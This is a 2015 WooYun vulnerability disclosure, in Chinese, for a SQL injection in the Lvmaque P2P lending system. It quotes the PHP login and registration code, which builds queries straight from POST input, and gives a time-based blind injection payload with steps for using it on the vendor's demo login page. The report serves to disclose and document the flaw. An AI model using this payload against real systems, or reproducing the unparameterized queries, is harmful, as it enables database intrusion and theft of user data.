当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144772

漏洞标题:绿麻雀 p2p网贷系统sql盲注(demo演示)

相关厂商:lvmaque.com

漏洞作者: 不能忍

提交时间:2015-10-05 11:37

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-05: 细节已通知厂商并且等待厂商处理中
2015-10-13: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-07: 细节向核心白帽子及相关领域专家公开
2015-12-17: 细节向普通白帽子公开
2015-12-27: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

利用起来有点麻烦,不过还是可以注入的,只是需要花很长的时间
tp框架,无视gpc
具体不清楚是哪个版本。不过可以肯定的是,一定是最新的

详细说明:

/App/Lib/Action/M/PubAction.class.php

<?php
class PubAction extends Action
{

public function Verify()
{
import("ORG.Util.Image");
Image::buildImageVerify();
}
/**
* 用户登陆
*/
public function login()
{
if($this->isPost()){
//[username] => dsfsaf [password] => asdf [verify] => mebr
if($_SESSION['verify'] != md5($_POST['verify'])) {
$this->error('验证码错误!');
}

$user_name = $this->_post('username');
$pass = $this->_post('password');
$vo = M('members')->field('id,user_name,user_email,user_pass,is_ban')->where("user_name='{$user_name}'")->find();
if(!$vo){
$this->error('没有此用户!');
}
if($vo['is_ban']==1){
$this->error('您的帐户已被冻结,请联系客服处理!');
}
if($vo['user_pass'] != md5($pass)){
$this->error('密码错误,请重新输入!');
}

session('u_id', $vo['id']);
session('u_user_name', $vo['user_name']);
$JumpUrl = session('JumpUrl')?session('JumpUrl'):U('M/user/index');
session('JumpUrl','');
$this->success("登陆成功!", $JumpUrl);

}else{
if(session('u_id')){
$this->redirect('M/user/index');
}
session('JumpUrl', $_SERVER['HTTP_REFERER']);
$this->display();
}

}
/**
* 注销用户
*/
public function Logout()
{
session(null);
$this->success('安全退出!',U('M/index/index'));
}

/**
* 用户注册
*
*/
public function regist()
{
if(session('u_id')){
$this->redirect('M/user/index');
}
if($this->isAjax()){
$email = $this->_post('email');
$username = $this->_post('username');
$password = $this->_post('password');
$verify = $this->_post('verify');
if(!$email || !$username || !$password || !$verify){
die("数据不完整");
}
if($_SESSION['verify'] != md5($verify)) {
die('验证码错误!');
}
if(M("members")->where("user_email='{$email}'")->count('id')){
die("邮箱被占用,请更换邮箱地址");
}
if(M("members")->where("user_name='{$username}'")->count('id')){
die("用户名已被占用,请更换");
}
$data = array(
'user_name'=>$username,
'user_pass'=>md5($password),
'user_email'=>$email,
'reg_time'=>time(),
'reg_ip' => get_client_ip(),
);
if($newid = M("members")->add($data)){
//Notice(1,$newid,array('email',$data['user_email']));
session('u_id', $newid);
session('u_user_name', $username);
echo '1';
}else{
die('注册失败');
}
}else{

$this->display();
}
}
}
?>


这里应该是三处。
应该都很清楚,直接获取post然后直接进库,我就不分析了。
但是官网的demo跟这里有点不一样,后面两处官网要验证手机,我就不验证了。
第一处的payload:
test' AND (SELECT * FROM (SELECT(SLEEP(6)))test) AND 'wooyun'='wooyun
利用方法很简单
打开http://**.**.**.**/m/pub/login(这个是官网手机客户端的demo演示站)
输入用户名:
test' AND (SELECT * FROM (SELECT(SLEEP(6)))test) AND 'wooyun'='wooyun
密码随意,然后把输入验证码(要输入正确)
点击登录,就可以进行延时注入了!

漏洞证明:

1.jpg

修复方案:

版权声明:转载请注明来源 不能忍@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-01-11 15:32

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价